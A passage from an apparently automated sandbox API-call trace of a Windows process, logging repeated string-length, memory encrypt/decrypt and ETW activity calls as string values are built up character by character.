(param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xb92a\xecbe\xb66a\x9c92\x8fcb\x697\x5d5\x2f7c") returned 0x20 [0134.618] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.618] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfIC") returned 0x20 [0134.618] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.618] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444") returned 0x20 [0134.618] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444") returned 0x20 [0134.618] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444") returned 0x20 [0134.619] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x57\x53\x42\x4c\x64\x57\x59\x70") returned 0x28 [0134.619] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.619] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfICl쨃骧踭蝛춪䯾") returned 0x28 [0134.619] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.619] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x8dda\x1aad\xa8be\x293a\xfa10\x4a74\xb9cd\x2be") returned 0x28 [0134.619] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x8dda\x1aad\xa8be\x293a\xfa10\x4a74\xb9cd\x2be") returned 0x28 [0134.619] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.619] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfICl3骧踭蝛춪䯾") returned 0x28 [0134.619] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.619] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x5852\xd04\xbb94\x891b\x8e08\x459f\x6bfe\x611e") returned 0x28 [0134.619] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x5852\xd04\xbb94\x891b\x8e08\x459f\x6bfe\x611e") returned 0x28 [0134.619] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.619] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfICl3H踭蝛춪䯾") returned 0x28 [0134.619] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.619] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x3870\x5881\xcdb1\x5d31\xaea7\xb267\x54c8\x87d9") returned 0x28 [0134.619] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x3870\x5881\xcdb1\x5d31\xaea7\xb267\x54c8\x87d9") returned 0x28 [0134.619] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.619] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfICl3HG蝛춪䯾") returned 0x28 [0134.619] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.619] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\xfbf7\xf6d2\xc208\x79ab\xb92d\x6aaf\x9db9\xedea") returned 0x28 [0134.619] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\xfbf7\xf6d2\xc208\x79ab\xb92d\x6aaf\x9db9\xedea") returned 0x28 [0134.619] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.620] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfICl3HGl蝛춪䯾") returned 0x28 [0134.620] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.620] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x7d9b\x3c03\x36a0\x9817\xfde9\x9ac3\xfb5f\x397c") returned 0x28 [0134.620] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x7d9b\x3c03\x36a0\x9817\xfde9\x9ac3\xfb5f\x397c") returned 0x28 [0134.620] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.620] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfICl3HGlr춪䯾") returned 0x28 [0134.620] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.620] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\xf3f4\xdc29\xd6b5\x55d2\x4d35\xb9b1\xac13\xff3c") returned 0x28 [0134.620] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\xf3f4\xdc29\xd6b5\x55d2\x4d35\xb9b1\xac13\xff3c") returned 0x28 [0134.620] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.620] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfICl3HGlri䯾") returned 0x28 [0134.620] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.620] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x8d8a\x6b51\x44c1\x608f\xcf9e\xf25d\xcee\x2187") returned 0x28 [0134.620] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x8d8a\x6b51\x44c1\x608f\xcf9e\xf25d\xcee\x2187") returned 0x28 [0134.620] SystemFunction041 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.620] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfICl3HGlriU") returned 0x28 [0134.620] SystemFunction040 (in: Memory=0x4383984, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383984) returned 0x0 [0134.620] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x7719\x1aca\xeb72\x8eb3\x3252\x236f\x179d\x47fb") returned 0x28 [0134.620] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x7719\x1aca\xeb72\x8eb3\x3252\x236f\x179d\x47fb") returned 0x28 [0134.620] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x7719\x1aca\xeb72\x8eb3\x3252\x236f\x179d\x47fb") returned 0x28 [0134.620] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x7719\x1aca\xeb72\x8eb3\x3252\x236f\x179d\x47fb") returned 0x30 [0134.620] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.620] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfICl3HGlriUP᫠頺辵㟺剦眨") returned 0x30 [0134.620] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.621] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x7719\x1aca\xeb72\x8eb3\x3252\x236f\x179d\x47fb\xb26d\x37cf\x738d\xfd7a\x8e52\xaac\xbb45\xaa") returned 0x30 [0134.621] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x7719\x1aca\xeb72\x8eb3\x3252\x236f\x179d\x47fb\xb26d\x37cf\x738d\xfd7a\x8e52\xaac\xbb45\xaa") returned 0x30 [0134.621] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.621] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfICl3HGlriUPV頺辵㟺剦眨") returned 0x30 [0134.621] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.621] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x7719\x1aca\xeb72\x8eb3\x3252\x236f\x179d\x47fb\xb037\x8e30\xc181\x7968\xf770\x284c\x95e8\xfa76") returned 0x30 [0134.621] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x7719\x1aca\xeb72\x8eb3\x3252\x236f\x179d\x47fb\xb037\x8e30\xc181\x7968\xf770\x284c\x95e8\xfa76") returned 0x30 [0134.621] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.621] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfICl3HGlriUPVA辵㟺剦眨") returned 0x30 [0134.621] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.621] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x7719\x1aca\xeb72\x8eb3\x3252\x236f\x179d\x47fb\xa93f\x790a\x238b\x4649\xe65a\xe9eb\xef5e\x4cb7") returned 0x30 [0134.621] SysStringLen (param_1="\xca\xfc9d\xe4b4\x7103\xbe69\xafb1\x52b\xff7a\xfccc\xd6bc\x6d33\x895f\x2307\xf102\xf615\x3d91\x9387\x191d\x8d4b\xacde\x297c\x32da\xca14\xf753\xa11d\xffa8\x368a\xe19a\xb150\x24cf\x4c6d\x3444\x7719\x1aca\xeb72\x8eb3\x3252\x236f\x179d\x47fb\xa93f\x790a\x238b\x4649\xe65a\xe9eb\xef5e\x4cb7") returned 0x30 [0134.621] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.621] SysStringLen (param_1="uRJdsu3iin7oTpNOAdqV9FMExZVrrfICl3HGlriUPVA=㟺剦眨") returned 0x30 [0134.621] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0134.621] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.621] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.621] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.622] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0134.622] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.622] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.622] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.622] SysStringLen (param_1="") returned 0x8 [0134.622] SysStringLen (param_1="Y") returned 0x8 [0134.622] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.622] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.622] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.622] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.622] SysStringLen (param_1="YW") returned 0x8 [0134.622] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.622] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.622] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.622] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.623] SysStringLen (param_1="YWM") returned 0x8 [0134.623] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.623] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.623] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.623] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.623] SysStringLen (param_1="YWM1") returned 0x8 [0134.623] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.623] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.623] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.623] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.623] SysStringLen (param_1="YWM1O") returned 0x8 [0134.623] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.623] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.623] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.623] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.623] SysStringLen (param_1="YWM1OT") returned 0x8 [0134.623] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.623] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.623] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.623] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.624] SysStringLen (param_1="YWM1OTE") returned 0x8 [0134.624] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.624] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.624] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.624] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.624] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0134.624] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.624] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.624] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.624] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.624] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0134.624] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.624] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0134.624] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.624] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.624] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.624] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.624] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0134.624] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.625] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.625] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0134.625] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.625] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.625] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0134.625] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.625] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.625] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0134.625] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.625] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.625] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: 